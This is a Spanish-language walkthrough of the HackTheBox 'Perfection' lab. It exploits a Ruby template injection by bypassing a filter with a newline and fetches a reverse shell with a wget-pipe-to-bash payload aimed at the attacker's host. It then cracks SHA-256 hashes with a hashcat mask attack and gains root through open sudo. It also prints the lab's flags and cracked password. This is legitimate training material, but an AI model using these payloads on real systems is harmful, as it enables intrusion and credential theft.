This page looks best with JavaScript enabled

HackTheBox - Perfection

 •  ✍️ sckull

En Perfection encontramos una vulnerabilidad SSTI donde tambien, realizamos bypass a un filtro lo que nos permitio ejecutar comandos en la maquina. Tras acceder a una base de datos SQLite y un correo en el que indica el formato de las contrasenas, logramos crackear los hashes de la base de datos y finalmente escalar privilegios.

Nombre Perfection box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.253
Maker

TheHated1

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.1, 5, 5.1, 4.9, 5],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         {
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# Nmap 7.94SVN scan initiated Thu Mar 14 17:52:34 2024 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.253
Nmap scan report for 10.10.11.253
Host is up (0.089s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 14 17:52:47 2024 -- 1 IP address (1 host up) scanned in 13.35 seconds

Web Site

Los headers del sitio nos muestran WebBrick 1.7.0 y Ruby en su version 3.02.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 π ~/htb/perfection ❯ curl -sI 10.10.11.253
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 14 Mar 2024 21:54:59 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 3842
Connection: keep-alive
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Server: WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)

 π ~/htb/perfection ❯

Al visitar el sitio vemos informacion sobre una calculadora.

image

Vemos la calculadora tras visitar uno de los enlaces del sitio.

image

Rellenamos el Formulario para comprobar el funcionamiento.

image

Vemos que muestra el resultado debajo de este.

image

Web Tech

Como sabemos los headers del sitio muestran la tecnologia utilizada, podemos confirmar esto con Wappalyzer.

image

SSTI - Ruby

Sabiendo que la tecnologia es Ruby intentamos comprobar una posible vulnerabilidad SSTI en la cual utilizamos el payload #{ 7*7 }, rellenamos la calculadora con los valores necesarios y utilizamos el payload en la primera categoria. Sin embargo en lugar de obtener el valor 49 esperado nos muestra un mensaje, esto indica que existe algun tipo de filtro.

image

Intentamos realizar bypass agregando un salto de linea \n a nuestros payloads, logramos ver el resultado de <%= 7*7 %>.

Ref. (1, 2)

image

Tambien, logramos ejecutar comandos, en este caso listar los archivos del directorio.

image

User - Susan

Realizamos la ejecucion de una shell inversa con shells.

1
<%= IO.popen('wget -qO- 10.10.14.151:8000/10.10.14.151:1335|bash').readlines()  %>

Tras realizar la solicitud logramos obtener una shell como susan y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
 π ~/htb/perfection ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
10.10.11.253: inverse host lookup failed: Unknown host
connect to [10.10.14.151] from (UNKNOWN) [10.10.11.253] 45440
can't access tty; job control turned off
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
susan@perfection:~/ruby_app$ whoami;id;pwd
susan
uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo)
/home/susan/ruby_app
susan@perfection:~/ruby_app$ cd
susan@perfection:~$ ls
Migration  ruby_app  user.txt
susan@perfection:~$ cat user.txt
bd862f0b0719fcdc2b5d6d4bb820c321
susan@perfection:~$

Privesc

En el directorio principal de susan encontramos una base de datos sqlite donde observamos multiples hashes, los cuales no logramos crackear.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
susan@perfection:~/Migration$ ls
pupilpath_credentials.db
susan@perfection:~/Migration$ which sqlite3
/usr/bin/sqlite3
susan@perfection:~/Migration$ sqlite3
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open pupilpath_credentials.db
sqlite> .schema
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
);
sqlite> select * from users;
1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8
sqlite>

Enumerando los directorios descubrimos un email para susan, en este, indican que por una filtracion de datos se especifica un nuevo formato de contrasena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
susan@perfection:/var/mail$ ls -lah
total 12K
drwxrwsr-x  2 root mail  4.0K May 14  2023 .
drwxr-xr-x 13 root root  4.0K Oct 27 07:31 ..
-rw-r-----  1 root susan  625 May 14  2023 susan
susan@perfection:/var/mail$ cat susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student
susan@perfection:/var/mail$

Este nuevo formato permitiria que “Susan Miller” tenga la posible contrasena “susan_nasus_9999999”.

Crack the Hash

Basados en la informacion anterior utilizamos el hash que encontramos en la base de datos para intentar crackear los hashes utilizando hashcat.

Sabiendo parte de la contrasena realizamos “Mask Attack” (1,2). El hash es un SHA2-256 por lo que utilizamos el modo 1400, el numero que contiene la contrasena esta entre 1 y 1,000,000,000 , para encontrar este numero agregamos la ‘mascara’ ?d?d?d?d?d?d?d?d?d finalmente agregamos parte de la contrasena al archivo user.txt o en el segundo caso agregamos el hash a un archivo. Cualquiera de los dos comandos es funcional.

1
2
3
4
# 1
hashcat -a 6 -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f user.txt '?d?d?d?d?d?d?d?d?d'
# 2
hashcat -m 1400 -a 3 hash_susan susan_nasus_?d?d?d?d?d?d?d?d?d --incremental

Tras ejecutar hashcat logramos obtener en texto plano el valor del hash.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
 π ~/htb/perfection ❯ hashcat -a 6 -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f user.txt '?d?d?d?d?d?d?d?d?d'
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i5-8250U CPU @ 1.60GHz, 1834/3732 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: users.txt
* Passwords.: 1
* Bytes.....: 13
* Keyspace..: 1000000000

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

Cracking performance lower than expected?

* Append -O to the commandline.
  This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f
Time.Started.....: Thu Mar 14 20:03:00 2024 (1 min, 16 secs)
Time.Estimated...: Thu Mar 14 20:04:16 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (users.txt), Left Side
Guess.Mod........: Mask (?d?d?d?d?d?d?d?d?d) [9], Right Side
Guess.Queue.Base.: 1/1 (100.00%)
Guess.Queue.Mod..: 1/1 (100.00%)
Speed.#1.........:  1339.2 kH/s (0.47ms) @ Accel:32 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 125967360/1000000000 (12.60%)
Rejected.........: 0/125967360 (0.00%)
Restore.Point....: 0/1 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:125966336-125967360 Iteration:0-1024
Candidate.Engine.: Device Generator
Candidates.#1....: susan_nasus_503539210 -> susan_nasus_643759210
Hardware.Mon.#1..: Util: 54%

Started: Thu Mar 14 20:02:57 2024
Stopped: Thu Mar 14 20:04:18 2024
 π ~/htb/perfection ❯

Ahora tenemos la contrasena de susan.

1
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210

Shell

Ejecutamos sudo para verificar si existen permisos para la ejecucion de algun comando y observamos que es posible ejecutar cualquier comando.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
susan@perfection:~$ sudo -l -l
[sudo] password for susan: susan_nasus_413759210

Matching Defaults entries for susan on perfection:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User susan may run the following commands on perfection:

Sudoers entry:
    RunAsUsers: ALL
    RunAsGroups: ALL
    Commands:
	ALL
susan@perfection:~$

Ejecutamos bash como root y finalmente logramos la lectura de la flag root.txt.

1
2
3
4
5
6
7
susan@perfection:~$ sudo bash
root@perfection:/home/susan# cd
root@perfection:~# ls
root.txt
root@perfection:~# cat root.txt
a39793e929ec5a78cb9dcfaa9c8c68e6
root@perfection:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe